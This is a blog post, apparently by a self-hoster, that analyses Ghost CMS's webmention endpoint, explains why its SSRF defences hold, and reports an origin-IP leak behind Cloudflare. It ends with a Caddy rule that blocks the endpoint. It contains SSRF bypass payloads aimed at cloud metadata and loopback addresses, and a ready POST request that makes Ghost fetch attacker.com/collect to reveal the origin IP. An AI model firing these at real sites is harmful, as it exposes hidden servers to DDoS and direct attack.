Ghost CMS Webmentions: SSRF Protections, Code Deep-Dive, and Origin IP leak
While I was pentesting my homelab for security reasons, I found that Ghost was leaking my IP address.
How I Found It?
I'm selfhosting this blog with I was testing Ghost sitting behind Caddy and Cloudflare. While I was testing Ghost routes I noticed something: every POST to /webmentions/receive returned 202 Accepted, regardless of what I sent as the source parameter. Internal IPs, loopback addresses, link-local ranges — all silently accepted with the same clean response.
I thought I found a SSRF. If Ghost fetches the source URL to verify a webmention, and every URL appears to be accepted, could I make it reach 169.254.169.254? Hit something on 10.0.0.0/8?
The answer, after tracing through the source code, was in fact: no. Ghost's SSRF protections are actually well-engineered.
But since by submiting a source pointing to a server you control Ghost will connect to it, we can bypass Cloudflare and reveal the real IP of your origin server. That's a meaningful finding for anyone running Ghost behind a CDN and assuming their origin is hidden.
This post is a full walkthrough of the code path, the SSRF defences, and the IP leak.
Background: What Webmentions Do
Webmentions are a W3C standard for cross-site notifications: when site A links to site B, it can notify B by POSTing to B's webmention endpoint. Ghost implements this at /webmentions/receive.
The critical behaviour: upon receiving a notification, Ghost fetches the source URL to verify that the link actually exists. That outbound fetch is everything in this analysis.
The Request Pipeline
1. Route
// ghost/core/core/server/web/webmentions/routes.js
router.post('/receive',
bodyParser.urlencoded({ extended: true, limit: '5mb' }),
http(api.mentions.receive)
);
No URL validation at the routing layer. source and target arrive raw from the form body.
2. API Endpoint
// ghost/core/core/server/api/endpoints/mentions.js
receive: {
statusCode: 202,
permissions: false,
async query(frame) {
await mentions.controller.receive(frame);
return null;
}
}
Two things worth noting: permissions: false (the endpoint requires no authentication ) and the 202 Accepted status, which is returned before any processing. Validation and fetching happen asynchronously in a background job. This is why every request looks like it succeeds from the outside, even ones that will be rejected internally. It's what made the endpoint look
so permissive during initial recon.
3. Controller: Async Background Job
// services/mentions/mention-controller.js
async receive(frame) {
this.#jobService.addJob('processWebmention', async () => {
const { source, target, ...payload } = frame.data;
await this.#api.processWebmention({
source: new URL(source),
target: new URL(target),
payload
});
});
}
The job is enqueued and the response is immediately returned. Any errors including blocked SSRF attempts surface only in server logs, never in the HTTP response. From the outside, the endpoint appears to accept everything.
4. The Outbound Fetch
Tracing through MentionsAPI.#updateWebmention → WebmentionMetadata.fetch →OEmbedService.fetchOembedDataFromUrl → fetchPage:
// services/oembed/oembed-service.js
// native fetch is not allowed in this file, use `this.externalRequest`
// instead to avoid SSRF
/* eslint no-restricted-globals: ["error", "fetch"] */
fetchPage(url, options) {
return this.externalRequest(url, {
headers: { 'user-agent': USER_AGENT },
timeout: { request: 2000 },
followRedirect: true,
...options
});
}
this.externalRequest is a hardened got instance from lib/request-external.js. The ESLint rule is notable: even accidental use of the native fetch() as an escape hatch is blocked at the linting stage.
SSRF Protections: Why They Work
request-external.js implements two independent layers of protection against requests to private or internal IP space.
Layer 1 — Pre-request DNS check
Before every request (and every redirect hop), Ghost resolves the hostname and checks the IP:
async function errorIfHostnameResolvesToPrivateIp(options) {
if (config.get('env') === 'development') return;
const result = await dnsPromises.lookup(options.url.hostname);
if (isPrivateIp(result.address)) {
return Promise.reject(new errors.InternalServerError({
message: 'URL resolves to a non-permitted private IP block',
code: 'URL_PRIVATE_INVALID',
}));
}
}
Layer 2 — Connection-time lookup hook
DNS rebinding attacks rely on a hostname resolving to a public IP during the check, then switching to a private IP when the TCP connection is actually made. Ghost defeats this by replacing the DNS lookup function used by got at the connection level:
options.lookup = (hostname, dnsOpts, callback) => {
dns.lookup(hostname, dnsOpts, (err, address, family) => {
if (isPrivateIp(address)) {
return callback(new errors.InternalServerError({
message: 'URL resolves to a non-permitted private IP block',
code: 'URL_PRIVATE_INVALID',
}));
}
callback(null, address, family);
});
};
This hook fires at the TCP layer — the IP that is actually dialled is checked, not just a pre-flight resolution. Both layers run on beforeRequest and beforeRedirect, covering the full redirect chain.
Blocked IP Ranges
| Range | Category |
|---|---|
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 |
RFC 1918 private |
127.0.0.0/8 |
Loopback |
169.254.0.0/16 |
Link-local / AWS IMDSv1 |
100.64.0.0/10 |
Carrier-grade NAT |
0.0.0.0/8, 240.0.0.0/4, 255.255.255.255 |
Reserved |
::1, fc00::/7, fe80::/10 |
IPv6 loopback, ULA, link-local |
::ffff:0:0/96 |
IPv4-mapped IPv6 (unpacked and re-checked as IPv4) |
Exotic notations octal (0177.0.0.1), hex (0x7f000001), decimal integer (2130706433), IPv4-compatible IPv6 are all normalised through new URL() before the check is applied. They cannot be used to bypass the filter.
Bypass Attempts — All Blocked
| Technique | Why it fails |
|---|---|
http://169.254.169.254/ |
169.254.0.0/16 is explicitly blocked |
http://0x7f000001/ |
Normalised to 127.0.0.1 by new URL() |
http://[::ffff:169.254.169.254]/ |
IPv4-mapped IPv6 is unpacked; inner IPv4 is checked |
http://localhost/ |
Resolves to 127.0.0.1 or ::1, both blocked |
| DNS rebinding | Connection-time lookup hook catches the final dialled IP |
| Redirect to private IP | beforeRedirect re-runs the full IP check |
Raw fetch() |
ESLint rule forbids it in the oembed service |
The SSRF protection is solid. I couldn't find a bypass.
The Issue That Remains: Origin IP Oracle
The protections only guard against private IP space. All public IPs are allowed: that is the entire point of the feature. The webmention spec requires fetching external URLs to verify links.
This creates an unavoidable trade-off: any public URL submitted as source will be fetched by the Ghost server.
Attack Scenario
POST /webmentions/receive HTTP/1.1
Host: victim-ghost-blog.com
Content-Type: application/x-www-form-urlencoded
source=https://attacker.com/collect&target=https://victim-ghost-blog.com/any-post/
Ghost validates that target exists on the site, then fetches source. The attacker's server logs the incoming connection:
- Source IP: the Ghost server's real origin IP
- User-Agent:
Mozilla/5.0 (compatible; Ghost/5.0; +https://ghost.org/)
The attacker now knows the origin IP. When Ghost is behind Cloudflare, the CDN terminates inbound TLS and proxies requests so external clients only ever see Cloudflare's IP ranges. Outbound requests from the origin, however, leave directly from the origin server, bypassing the CDN entirely.
What an Attacker Can Do With the Origin IP
- Direct access: Hit the origin on port 80/443, bypassing CDN-level WAF rules entirely
- DDoS: Cloudflare's volumetric protection no longer applies to direct-to-origin traffic
- Service enumeration: Scan the origin for exposed services admin panels, SSH, internal APIs that were assumed to be shielded
- Infrastructure fingerprinting: Identify hosting provider, region, and ASN
Mitigation
The fix for WAF bypass: Firewall Hardening
If your origin only accepts inbound connections from Cloudflare's IP ranges, a leaked origin IP is significantly less useful. This should be your default posture anyway when running behind a CDN. Cloudflare publishes its IP ranges.
The fix for IP leaking: Blocking the Route at the Reverse Proxy
Since I'm running Caddy in front of Ghost, and Caddy is already configured to only accept connections from Cloudflare's IP ranges, I went one step further and blocked the webmention endpoint entirely at the Caddy layer:
ghost.example.com {
# Block webmention endpoint — origin IP oracle, not needed
respond /webmentions/receive 403
reverse_proxy localhost:2368
}
The respond directive fires before reverse_proxy, so Ghost never sees these requests.
Combined with Cloudflare-only inbound filtering, this means:
- The endpoint is unreachable from the public internet (returns 403 at the Caddy layer)
- Even if someone found the origin IP and tried to hit it directly, Caddy wouldn't respond to non-Cloudflare traffic
If you don't need webmentions, this is the cleanest option.
Other Mitigations
You tell me
Setup
- Ghost 6.43, self-hosted
- Caddy as reverse proxy (Cloudflare-only inbound)
- Cloudflare proxied DNS